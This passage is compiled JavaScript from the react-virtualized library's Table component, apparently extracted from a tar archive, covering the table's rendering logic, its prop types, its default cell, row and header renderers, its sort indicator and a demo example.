        _this2._cachedColumnStyles[index] = _objectSpread({
          overflow: 'hidden'
        }, flexStyles);
      }); // Note that we specify :rowCount, :scrollbarWidth, :sortBy, and :sortDirection as properties on Grid even though these have nothing to do with Grid.
      // This is done because Grid is a pure component and won't update unless its properties or state has changed.
      // Any property that should trigger a re-render of Grid then is specified here to avoid a stale display.

      return React.createElement("div", {
        "aria-label": this.props['aria-label'],
        "aria-labelledby": this.props['aria-labelledby'],
        "aria-colcount": React.Children.toArray(children).length,
        "aria-rowcount": this.props.rowCount,
        className: clsx('ReactVirtualized__Table', className),
        id: id,
        role: "grid",
        style: style
      }, !disableHeader && headerRowRenderer({
        className: clsx('ReactVirtualized__Table__headerRow', rowClass),
        columns: this._getHeaderColumns(),
        style: _objectSpread({
          height: headerHeight,
          overflow: 'hidden',
          paddingRight: scrollbarWidth,
          width: width
        }, rowStyleObject)
      }), React.createElement(Grid, _extends({}, this.props, {
        "aria-readonly": null,
        autoContainerWidth: true,
        className: clsx('ReactVirtualized__Table__Grid', gridClassName),
        cellRenderer: this._createRow,
        columnWidth: width,
        columnCount: 1,
        height: availableRowsHeight,
        id: undefined,
        noContentRenderer: noRowsRenderer,
        onScroll: this._onScroll,
        onSectionRendered: this._onSectionRendered,
        ref: this._setRef,
        role: "rowgroup",
        scrollbarWidth: scrollbarWidth,
        scrollToRow: scrollToIndex,
        style: _objectSpread({}, gridStyle, {
          overflowX: 'hidden'
        })
      })));
    }
  }, {
    key: "_createColumn",
    value: function _createColumn(_ref4) {
      var column = _ref4.column,
          columnIndex = _ref4.columnIndex,
          isScrolling = _ref4.isScrolling,
          parent = _ref4.parent,
          rowData = _ref4.rowData,
          rowIndex = _ref4.rowIndex;
      var onColumnClick = this.props.onColumnClick;
      var _column$props = column.props,
          cellDataGetter = _column$props.cellDataGetter,
          cellRenderer = _column$props.cellRenderer,
          className = _column$props.className,
          columnData = _column$props.columnData,
          dataKey = _column$props.dataKey,
          id = _column$props.id;
      var cellData = cellDataGetter({
        columnData: columnData,
        dataKey: dataKey,
        rowData: rowData
      });
      var renderedCell = cellRenderer({
        cellData: cellData,
        columnData: columnData,
        columnIndex: columnIndex,
        dataKey: dataKey,
        isScrolling: isScrolling,
        parent: parent,
        rowData: rowData,
        rowIndex: rowIndex
      });

      var onClick = function onClick(event) {
        onColumnClick && onColumnClick({
          columnData: columnData,
          dataKey: dataKey,
          event: event
        });
      };

      var style = this._cachedColumnStyles[columnIndex];
      var title = typeof renderedCell === 'string' ? renderedCell : null; // Avoid using object-spread syntax with multiple objects here,
      // Since it results in an extra method call to 'babel-runtime/helpers/extends'
      // See PR https://github.com/bvaughn/react-virtualized/pull/942

      return React.createElement("div", {
        "aria-colindex": columnIndex + 1,
        "aria-describedby": id,
        className: clsx('ReactVirtualized__Table__rowColumn', className),
        key: 'Row' + rowIndex + '-' + 'Col' + columnIndex,
        onClick: onClick,
        role: "gridcell",
        style: style,
        title: title
      }, renderedCell);
    }
  }, {
    key: "_createHeader",
    value: function _createHeader(_ref5) {
      var column = _ref5.column,
          index = _ref5.index;
      var _this$props2 = this.props,
          headerClassName = _this$props2.headerClassName,
          headerStyle = _this$props2.headerStyle,
          onHeaderClick = _this$props2.onHeaderClick,
          sort = _this$props2.sort,
          sortBy = _this$props2.sortBy,
          sortDirection = _this$props2.sortDirection;
      var _column$props2 = column.props,
          columnData = _column$props2.columnData,
          dataKey = _column$props2.dataKey,
          defaultSortDirection = _column$props2.defaultSortDirection,
          disableSort = _column$props2.disableSort,
          headerRenderer = _column$props2.headerRenderer,
          id = _column$props2.id,
          label = _column$props2.label;
      var sortEnabled = !disableSort && sort;
      var classNames = clsx('ReactVirtualized__Table__headerColumn', headerClassName, column.props.headerClassName, {
        ReactVirtualized__Table__sortableHeaderColumn: sortEnabled
      });

      var style = this._getFlexStyleForColumn(column, _objectSpread({}, headerStyle, {}, column.props.headerStyle));

      var renderedHeader = headerRenderer({
        columnData: columnData,
        dataKey: dataKey,
        disableSort: disableSort,
        label: label,
        sortBy: sortBy,
        sortDirection: sortDirection
      });
      var headerOnClick, headerOnKeyDown, headerTabIndex, headerAriaSort, headerAriaLabel;

      if (sortEnabled || onHeaderClick) {
        // If this is a sortable header, clicking it should update the table data's sorting.
        var isFirstTimeSort = sortBy !== dataKey; // If this is the firstTime sort of this column, use the column default sort order.
        // Otherwise, invert the direction of the sort.

        var newSortDirection = isFirstTimeSort ? defaultSortDirection : sortDirection === SortDirection.DESC ? SortDirection.ASC : SortDirection.DESC;

        var onClick = function onClick(event) {
          sortEnabled && sort({
            defaultSortDirection: defaultSortDirection,
            event: event,
            sortBy: dataKey,
            sortDirection: newSortDirection
          });
          onHeaderClick && onHeaderClick({
            columnData: columnData,
            dataKey: dataKey,
            event: event
          });
        };

        var onKeyDown = function onKeyDown(event) {
          if (event.key === 'Enter' || event.key === ' ') {
            onClick(event);
          }
        };

        headerAriaLabel = column.props['aria-label'] || label || dataKey;
        headerAriaSort = 'none';
        headerTabIndex = 0;
        headerOnClick = onClick;
        headerOnKeyDown = onKeyDown;
      }

      if (sortBy === dataKey) {
        headerAriaSort = sortDirection === SortDirection.ASC ? 'ascending' : 'descending';
      } // Avoid using object-spread syntax with multiple objects here,
      // Since it results in an extra method call to 'babel-runtime/helpers/extends'
      // See PR https://github.com/bvaughn/react-virtualized/pull/942


      return React.createElement("div", {
        "aria-label": headerAriaLabel,
        "aria-sort": headerAriaSort,
        className: classNames,
        id: id,
        key: 'Header-Col' + index,
        onClick: headerOnClick,
        onKeyDown: headerOnKeyDown,
        role: "columnheader",
        style: style,
        tabIndex: headerTabIndex
      }, renderedHeader);
    }
  }, {
    key: "_createRow",
    value: function _createRow(_ref6) {
      var _this3 = this;

      var index = _ref6.rowIndex,
          isScrolling = _ref6.isScrolling,
          key = _ref6.key,
          parent = _ref6.parent,
          style = _ref6.style;
      var _this$props3 = this.props,
          children = _this$props3.children,
          onRowClick = _this$props3.onRowClick,
          onRowDoubleClick = _this$props3.onRowDoubleClick,
          onRowRightClick = _this$props3.onRowRightClick,
          onRowMouseOver = _this$props3.onRowMouseOver,
          onRowMouseOut = _this$props3.onRowMouseOut,
          rowClassName = _this$props3.rowClassName,
          rowGetter = _this$props3.rowGetter,
          rowRenderer = _this$props3.rowRenderer,
          rowStyle = _this$props3.rowStyle;
      var scrollbarWidth = this.state.scrollbarWidth;
      var rowClass = typeof rowClassName === 'function' ? rowClassName({
        index: index
      }) : rowClassName;
      var rowStyleObject = typeof rowStyle === 'function' ? rowStyle({
        index: index
      }) : rowStyle;
      var rowData = rowGetter({
        index: index
      });
      var columns = React.Children.toArray(children).map(function (column, columnIndex) {
        return _this3._createColumn({
          column: column,
          columnIndex: columnIndex,
          isScrolling: isScrolling,
          parent: parent,
          rowData: rowData,
          rowIndex: index,
          scrollbarWidth: scrollbarWidth
        });
      });
      var className = clsx('ReactVirtualized__Table__row', rowClass);

      var flattenedStyle = _objectSpread({}, style, {
        height: this._getRowHeight(index),
        overflow: 'hidden',
        paddingRight: scrollbarWidth
      }, rowStyleObject);

      return rowRenderer({
        className: className,
        columns: columns,
        index: index,
        isScrolling: isScrolling,
        key: key,
        onRowClick: onRowClick,
        onRowDoubleClick: onRowDoubleClick,
        onRowRightClick: onRowRightClick,
        onRowMouseOver: onRowMouseOver,
        onRowMouseOut: onRowMouseOut,
        rowData: rowData,
        style: flattenedStyle
      });
    }
    /**
     * Determines the flex-shrink, flex-grow, and width values for a cell (header or column).
     */

  }, {
    key: "_getFlexStyleForColumn",
    value: function _getFlexStyleForColumn(column) {
      var customStyle = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
      var flexValue = "".concat(column.props.flexGrow, " ").concat(column.props.flexShrink, " ").concat(column.props.width, "px");

      var style = _objectSpread({}, customStyle, {
        flex: flexValue,
        msFlex: flexValue,
        WebkitFlex: flexValue
      });

      if (column.props.maxWidth) {
        style.maxWidth = column.props.maxWidth;
      }

      if (column.props.minWidth) {
        style.minWidth = column.props.minWidth;
      }

      return style;
    }
  }, {
    key: "_getHeaderColumns",
    value: function _getHeaderColumns() {
      var _this4 = this;

      var _this$props4 = this.props,
          children = _this$props4.children,
          disableHeader = _this$props4.disableHeader;
      var items = disableHeader ? [] : React.Children.toArray(children);
      return items.map(function (column, index) {
        return _this4._createHeader({
          column: column,
          index: index
        });
      });
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(rowIndex) {
      var rowHeight = this.props.rowHeight;
      return typeof rowHeight === 'function' ? rowHeight({
        index: rowIndex
      }) : rowHeight;
    }
  }, {
    key: "_onScroll",
    value: function _onScroll(_ref7) {
      var clientHeight = _ref7.clientHeight,
          scrollHeight = _ref7.scrollHeight,
          scrollTop = _ref7.scrollTop;
      var onScroll = this.props.onScroll;
      onScroll({
        clientHeight: clientHeight,
        scrollHeight: scrollHeight,
        scrollTop: scrollTop
      });
    }
  }, {
    key: "_onSectionRendered",
    value: function _onSectionRendered(_ref8) {
      var rowOverscanStartIndex = _ref8.rowOverscanStartIndex,
          rowOverscanStopIndex = _ref8.rowOverscanStopIndex,
          rowStartIndex = _ref8.rowStartIndex,
          rowStopIndex = _ref8.rowStopIndex;
      var onRowsRendered = this.props.onRowsRendered;
      onRowsRendered({
        overscanStartIndex: rowOverscanStartIndex,
        overscanStopIndex: rowOverscanStopIndex,
        startIndex: rowStartIndex,
        stopIndex: rowStopIndex
      });
    }
  }, {
    key: "_setRef",
    value: function _setRef(ref) {
      this.Grid = ref;
    }
  }, {
    key: "_setScrollbarWidth",
    value: function _setScrollbarWidth() {
      var scrollbarWidth = this.getScrollbarWidth();
      this.setState({
        scrollbarWidth: scrollbarWidth
      });
    }
  }]);

  return Table;
}(React.PureComponent);

_defineProperty(Table, "defaultProps", {
  disableHeader: false,
  estimatedRowSize: 30,
  headerHeight: 0,
  headerStyle: {},
  noRowsRenderer: function noRowsRenderer() {
    return null;
  },
  onRowsRendered: function onRowsRendered() {
    return null;
  },
  onScroll: function onScroll() {
    return null;
  },
  overscanIndicesGetter: accessibilityOverscanIndicesGetter,
  overscanRowCount: 10,
  rowRenderer: defaultRowRenderer,
  headerRowRenderer: defaultHeaderRowRenderer,
  rowStyle: {},
  scrollToAlignment: 'auto',
  scrollToIndex: -1,
  style: {}
});

export { Table as default };
Table.propTypes = process.env.NODE_ENV !== "production" ? {
  /** This is just set on the grid top element. */
  'aria-label': PropTypes.string,

  /** This is just set on the grid top element. */
  'aria-labelledby': PropTypes.string,

  /**
   * Removes fixed height from the scrollingContainer so that the total height
   * of rows can stretch the window. Intended for use with WindowScroller
   */
  autoHeight: PropTypes.bool,

  /** One or more Columns describing the data displayed in this row */
  children: function children(props) {
    var children = React.Children.toArray(props.children);

    for (var i = 0; i < children.length; i++) {
      var childType = children[i].type;

      if (childType !== Column && !(childType.prototype instanceof Column)) {
        return new Error('Table only accepts children of type Column');
      }
    }
  },

  /** Optional CSS class name */
  className: PropTypes.string,

  /** Disable rendering the header at all */
  disableHeader: PropTypes.bool,

  /**
   * Used to estimate the total height of a Table before all of its rows have actually been measured.
   * The estimated total height is adjusted as rows are rendered.
   */
  estimatedRowSize: PropTypes.number.isRequired,

  /** Optional custom CSS class name to attach to inner Grid element. */
  gridClassName: PropTypes.string,

  /** Optional inline style to attach to inner Grid element. */
  gridStyle: PropTypes.object,

  /** Optional CSS class to apply to all column headers */
  headerClassName: PropTypes.string,

  /** Fixed height of header row */
  headerHeight: PropTypes.number.isRequired,

  /**
   * Responsible for rendering a table row given an array of columns:
   * Should implement the following interface: ({
   *   className: string,
   *   columns: any[],
   *   style: any
   * }): PropTypes.node
   */
  headerRowRenderer: PropTypes.func,

  /** Optional custom inline style to attach to table header columns. */
  headerStyle: PropTypes.object,

  /** Fixed/available height for out DOM element */
  height: PropTypes.number.isRequired,

  /** Optional id */
  id: PropTypes.string,

  /** Optional renderer to be used in place of table body rows when rowCount is 0 */
  noRowsRenderer: PropTypes.func,

  /**
   * Optional callback when a column is clicked.
   * ({ columnData: any, dataKey: string }): void
   */
  onColumnClick: PropTypes.func,

  /**
   * Optional callback when a column's header is clicked.
   * ({ columnData: any, dataKey: string }): void
   */
  onHeaderClick: PropTypes.func,

  /**
   * Callback invoked when a user clicks on a table row.
   * ({ index: number }): void
   */
  onRowClick: PropTypes.func,

  /**
   * Callback invoked when a user double-clicks on a table row.
   * ({ index: number }): void
   */
  onRowDoubleClick: PropTypes.func,

  /**
   * Callback invoked when the mouse leaves a table row.
   * ({ index: number }): void
   */
  onRowMouseOut: PropTypes.func,

  /**
   * Callback invoked when a user moves the mouse over a table row.
   * ({ index: number }): void
   */
  onRowMouseOver: PropTypes.func,

  /**
   * Callback invoked when a user right-clicks on a table row.
   * ({ index: number }): void
   */
  onRowRightClick: PropTypes.func,

  /**
   * Callback invoked with information about the slice of rows that were just rendered.
   * ({ startIndex, stopIndex }): void
   */
  onRowsRendered: PropTypes.func,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   * ({ clientHeight, scrollHeight, scrollTop }): void
   */
  onScroll: PropTypes.func.isRequired,

  /** See Grid#overscanIndicesGetter */
  overscanIndicesGetter: PropTypes.func.isRequired,

  /**
   * Number of rows to render above/below the visible bounds of the list.
   * These rows can help for smoother scrolling on touch devices.
   */
  overscanRowCount: PropTypes.number.isRequired,

  /**
   * Optional CSS class to apply to all table rows (including the header row).
   * This property can be a CSS class name (string) or a function that returns a class name.
   * If a function is provided its signature should be: ({ index: number }): string
   */
  rowClassName: PropTypes.oneOfType([PropTypes.string, PropTypes.func]),

  /**
   * Callback responsible for returning a data row given an index.
   * ({ index: number }): any
   */
  rowGetter: PropTypes.func.isRequired,

  /**
   * Either a fixed row height (number) or a function that returns the height of a row given its index.
   * ({ index: number }): number
   */
  rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]).isRequired,

  /** Number of rows in table. */
  rowCount: PropTypes.number.isRequired,

  /**
   * Responsible for rendering a table row given an array of columns:
   * Should implement the following interface: ({
   *   className: string,
   *   columns: Array,
   *   index: number,
   *   isScrolling: boolean,
   *   onRowClick: ?Function,
   *   onRowDoubleClick: ?Function,
   *   onRowMouseOver: ?Function,
   *   onRowMouseOut: ?Function,
   *   rowData: any,
   *   style: any
   * }): PropTypes.node
   */
  rowRenderer: PropTypes.func,

  /** Optional custom inline style to attach to table rows. */
  rowStyle: PropTypes.oneOfType([PropTypes.object, PropTypes.func]).isRequired,

  /** See Grid#scrollToAlignment */
  scrollToAlignment: PropTypes.oneOf(['auto', 'end', 'start', 'center']).isRequired,

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  scrollToIndex: PropTypes.number.isRequired,

  /** Vertical offset. */
  scrollTop: PropTypes.number,

  /**
   * Sort function to be called if a sortable header is clicked.
   * Should implement the following interface: ({
   *   defaultSortDirection: 'ASC' | 'DESC',
   *   event: MouseEvent,
   *   sortBy: string,
   *   sortDirection: SortDirection
   * }): void
   */
  sort: PropTypes.func,

  /** Table data is currently sorted by this :dataKey (if it is sorted at all) */
  sortBy: PropTypes.string,

  /** Table data is currently sorted in this direction (if it is sorted at all) */
  sortDirection: PropTypes.oneOf([SortDirection.ASC, SortDirection.DESC]),

  /** Optional inline style */
  style: PropTypes.object,

  /** Tab index for focus */
  tabIndex: PropTypes.number,

  /** Width of list */
  width: PropTypes.number.isRequired
} : {};
import { bpfrpt_proptype_CellPosition } from "../Grid";es/Table/defaultCellRenderer.js000064400000000624151677406000012463 0ustar00/**
 * Default cell renderer that displays an attribute as a simple string
 * You should override the column's cellRenderer if your data is some other type of object.
 */
export default function defaultCellRenderer(_ref) {
  var cellData = _ref.cellData;

  if (cellData == null) {
    return '';
  } else {
    return String(cellData);
  }
}
import { bpfrpt_proptype_CellRendererParams } from "./types";es/Table/defaultRowRenderer.js000064400000004316151677406000012355 0ustar00import _extends from "@babel/runtime/helpers/extends";
import * as React from 'react';

/**
 * Default row renderer for Table.
 */
export default function defaultRowRenderer(_ref) {
  var className = _ref.className,
      columns = _ref.columns,
      index = _ref.index,
      key = _ref.key,
      onRowClick = _ref.onRowClick,
      onRowDoubleClick = _ref.onRowDoubleClick,
      onRowMouseOut = _ref.onRowMouseOut,
      onRowMouseOver = _ref.onRowMouseOver,
      onRowRightClick = _ref.onRowRightClick,
      rowData = _ref.rowData,
      style = _ref.style;
  var a11yProps = {
    'aria-rowindex': index + 1
  };

  if (onRowClick || onRowDoubleClick || onRowMouseOut || onRowMouseOver || onRowRightClick) {
    a11yProps['aria-label'] = 'row';
    a11yProps.tabIndex = 0;

    if (onRowClick) {
      a11yProps.onClick = function (event) {
        return onRowClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowDoubleClick) {
      a11yProps.onDoubleClick = function (event) {
        return onRowDoubleClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowMouseOut) {
      a11yProps.onMouseOut = function (event) {
        return onRowMouseOut({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowMouseOver) {
      a11yProps.onMouseOver = function (event) {
        return onRowMouseOver({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowRightClick) {
      a11yProps.onContextMenu = function (event) {
        return onRowRightClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }
  }

  return React.createElement("div", _extends({}, a11yProps, {
    className: className,
    key: key,
    role: "row",
    style: style
  }), columns);
}
defaultRowRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : bpfrpt_proptype_RowRendererParams === PropTypes.any ? {} : bpfrpt_proptype_RowRendererParams;
import { bpfrpt_proptype_RowRendererParams } from "./types";
import PropTypes from "prop-types";es/Table/index.js000064400000001306151677406000007655 0ustar00import createMultiSort from './createMultiSort';
import defaultCellDataGetter from './defaultCellDataGetter';
import defaultCellRenderer from './defaultCellRenderer';
import defaultHeaderRowRenderer from './defaultHeaderRowRenderer.js';
import defaultHeaderRenderer from './defaultHeaderRenderer';
import defaultRowRenderer from './defaultRowRenderer';
import Column from './Column';
import SortDirection from './SortDirection';
import SortIndicator from './SortIndicator';
import Table from './Table';
export default Table;
export { createMultiSort, defaultCellDataGetter, defaultCellRenderer, defaultHeaderRowRenderer, defaultHeaderRenderer, defaultRowRenderer, Column, SortDirection, SortIndicator, Table };es/Table/SortIndicator.js000064400000002121151677406000011326 0ustar00import clsx from 'clsx';
import PropTypes from 'prop-types';
import * as React from 'react';
import SortDirection from './SortDirection';
/**
 * Displayed beside a header to indicate that a Table is currently sorted by this column.
 */

export default function SortIndicator(_ref) {
  var sortDirection = _ref.sortDirection;
  var classNames = clsx('ReactVirtualized__Table__sortableHeaderIcon', {
    'ReactVirtualized__Table__sortableHeaderIcon--ASC': sortDirection === SortDirection.ASC,
    'ReactVirtualized__Table__sortableHeaderIcon--DESC': sortDirection === SortDirection.DESC
  });
  return React.createElement("svg", {
    className: classNames,
    width: 18,
    height: 18,
    viewBox: "0 0 24 24"
  }, sortDirection === SortDirection.ASC ? React.createElement("path", {
    d: "M7 14l5-5 5 5z"
  }) : React.createElement("path", {
    d: "M7 10l5 5 5-5z"
  }), React.createElement("path", {
    d: "M0 0h24v24H0z",
    fill: "none"
  }));
}
SortIndicator.propTypes = process.env.NODE_ENV !== "production" ? {
  sortDirection: PropTypes.oneOf([SortDirection.ASC, SortDirection.DESC])
} : {};es/Table/Table.example.js000064400000027052151677406000011235 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import Immutable from 'immutable';
import PropTypes from 'prop-types';
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import AutoSizer from '../AutoSizer';
import Column from './Column';
import Table from './Table';
import SortDirection from './SortDirection';
import SortIndicator from './SortIndicator';
import styles from './Table.example.css';

var TableExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(TableExample, _React$PureComponent);

  function TableExample(props, context) {
    var _this;

    _classCallCheck(this, TableExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(TableExample).call(this, props, context));
    var sortBy = 'index';
    var sortDirection = SortDirection.ASC;

    var sortedList = _this._sortList({
      sortBy: sortBy,
      sortDirection: sortDirection
    });

    _this.state = {
      disableHeader: false,
      headerHeight: 30,
      height: 270,
      hideIndexRow: false,
      overscanRowCount: 10,
      rowHeight: 40,
      rowCount: 1000,
      scrollToIndex: undefined,
      sortBy: sortBy,
      sortDirection: sortDirection,
      sortedList: sortedList,
      useDynamicRowHeight: false
    };
    _this._getRowHeight = _this._getRowHeight.bind(_assertThisInitialized(_this));
    _this._headerRenderer = _this._headerRenderer.bind(_assertThisInitialized(_this));
    _this._noRowsRenderer = _this._noRowsRenderer.bind(_assertThisInitialized(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind(_assertThisInitialized(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind(_assertThisInitialized(_this));
    _this._rowClassName = _this._rowClassName.bind(_assertThisInitialized(_this));
    _this._sort = _this._sort.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(TableExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          disableHeader = _this$state.disableHeader,
          headerHeight = _this$state.headerHeight,
          height = _this$state.height,
          hideIndexRow = _this$state.hideIndexRow,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount,
          scrollToIndex = _this$state.scrollToIndex,
          sortBy = _this$state.sortBy,
          sortDirection = _this$state.sortDirection,
          sortedList = _this$state.sortedList,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;

      var rowGetter = function rowGetter(_ref) {
        var index = _ref.index;
        return _this2._getDatum(sortedList, index);
      };

      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "Table",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Table/Table.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Table.md"
      }), React.createElement(ContentBoxParagraph, null, "The table layout below is created with flexboxes. This allows it to have a fixed header and scrollable body content. It also makes use of", ' ', React.createElement("code", null, "Grid"), " for windowing table content so that large lists are rendered efficiently. Adjust its configurable properties below to see how it reacts."), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row heights?",
        checked: useDynamicRowHeight,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2._updateUseDynamicRowHeight(event.target.checked);
        }
      }), "Use dynamic row heights?"), React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide index?",
        checked: hideIndexRow,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            hideIndexRow: event.target.checked
          });
        }
      }), "Hide index?"), React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide header?",
        checked: disableHeader,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            disableHeader: event.target.checked
          });
        }
      }), "Hide header?")), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      }), React.createElement(LabeledInput, {
        label: "List height",
        name: "height",
        onChange: function onChange(event) {
          return _this2.setState({
            height: parseInt(event.target.value, 10) || 1
          });
        },
        value: height
      }), React.createElement(LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "rowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            rowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: rowHeight
      }), React.createElement(LabeledInput, {
        label: "Header height",
        name: "headerHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            headerHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: headerHeight
      }), React.createElement(LabeledInput, {
        label: "Overscan",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement("div", null, React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref2) {
        var width = _ref2.width;
        return React.createElement(Table, {
          ref: "Table",
          disableHeader: disableHeader,
          headerClassName: styles.headerColumn,
          headerHeight: headerHeight,
          height: height,
          noRowsRenderer: _this2._noRowsRenderer,
          overscanRowCount: overscanRowCount,
          rowClassName: _this2._rowClassName,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : rowHeight,
          rowGetter: rowGetter,
          rowCount: rowCount,
          scrollToIndex: scrollToIndex,
          sort: _this2._sort,
          sortBy: sortBy,
          sortDirection: sortDirection,
          width: width
        }, !hideIndexRow && React.createElement(Column, {
          label: "Index",
          cellDataGetter: function cellDataGetter(_ref3) {
            var rowData = _ref3.rowData;
            return rowData.index;
          },
          dataKey: "index",
          disableSort: !_this2._isSortEnabled(),
          width: 60
        }), React.createElement(Column, {
          dataKey: "name",
          disableSort: !_this2._isSortEnabled(),
          headerRenderer: _this2._headerRenderer,
          width: 90
        }), React.createElement(Column, {
          width: 210,
          disableSort: true,
          label: "The description label is really long so that it will be truncated",
          dataKey: "random",
          className: styles.exampleColumn,
          cellRenderer: function cellRenderer(_ref4) {
            var cellData = _ref4.cellData;
            return cellData;
          },
          flexGrow: 1
        }));
      })));
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(list, index) {
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref5) {
      var index = _ref5.index;
      var list = this.context.list;
      return this._getDatum(list, index).size;
    }
  }, {
    key: "_headerRenderer",
    value: function _headerRenderer(_ref6) {
      var dataKey = _ref6.dataKey,
          sortBy = _ref6.sortBy,
          sortDirection = _ref6.sortDirection;
      return React.createElement("div", null, "Full Name", sortBy === dataKey && React.createElement(SortIndicator, {
        sortDirection: sortDirection
      }));
    }
  }, {
    key: "_isSortEnabled",
    value: function _isSortEnabled() {
      var list = this.context.list;
      var rowCount = this.state.rowCount;
      return rowCount <= list.size;
    }
  }, {
    key: "_noRowsRenderer",
    value: function _noRowsRenderer() {
      return React.createElement("div", {
        className: styles.noRows
      }, "No rows");
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToIndex = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      this.setState({
        scrollToIndex: scrollToIndex
      });
    }
  }, {
    key: "_rowClassName",
    value: function _rowClassName(_ref7) {
      var index = _ref7.index;

      if (index < 0) {
        return styles.headerRow;
      } else {
        return index % 2 === 0 ? styles.evenRow : styles.oddRow;
      }
    }
  }, {
    key: "_sort",
    value: function _sort(_ref8) {
      var sortBy = _ref8.sortBy,
          sortDirection = _ref8.sortDirection;

      var sortedList = this._sortList({
        sortBy: sortBy,
        sortDirection: sortDirection
      });

      this.setState({
        sortBy: sortBy,
        sortDirection: sortDirection,
        sortedList: sortedList
      });
    }
  }, {
    key: "_sortList",
    value: function _sortList(_ref9) {
      var sortBy = _ref9.sortBy,
          sortDirection = _ref9.sortDirection;
      var list = this.context.list;
      return list.sortBy(function (item) {
        return item[sortBy];
      }).update(function (list) {
        return sortDirection === SortDirection.DESC ? list.reverse() : list;
      });
    }
  }, {
    key: "_updateUseDynamicRowHeight",
    value: function _updateUseDynamicRowHeight(value) {
      this.setState({
        useDynamicRowHeight: value
      });
    }
  }]);

  return TableExample;
}(React.PureComponent);

_defineProperty(TableExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { TableExample as default };es/Table/SortDirection.js000064400000000525151677406000011340 0ustar00var SortDirection = {
  /**
   * Sort items in ascending order.
   * This means arranging from the lowest value to the highest (e.g. a-z, 0-9).
   */
  ASC: 'ASC',

  /**
   * Sort items in descending order.
   * This means arranging from the highest value to the lowest (e.g. z-a, 9-0).
   */
  DESC: 'DESC'
};
export default SortDirection;es/Table/defaultHeaderRenderer.js000064400000001752151677406000012777 0ustar00import * as React from 'react';
import SortIndicator from './SortIndicator';

/**
 * Default table header renderer.
 */
export default function defaultHeaderRenderer(_ref) {
  var dataKey = _ref.dataKey,
      label = _ref.label,
      sortBy = _ref.sortBy,
      sortDirection = _ref.sortDirection;
  var showSortIndicator = sortBy === dataKey;
  var children = [React.createElement("span", {
    className: "ReactVirtualized__Table__headerTruncatedText",
    key: "label",
    title: typeof label === 'string' ? label : null
  }, label)];

  if (showSortIndicator) {
    children.push(React.createElement(SortIndicator, {
      key: "SortIndicator",
      sortDirection: sortDirection
    }));
  }

  return children;
}
defaultHeaderRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : bpfrpt_proptype_HeaderRendererParams === PropTypes.any ? {} : bpfrpt_proptype_HeaderRendererParams;
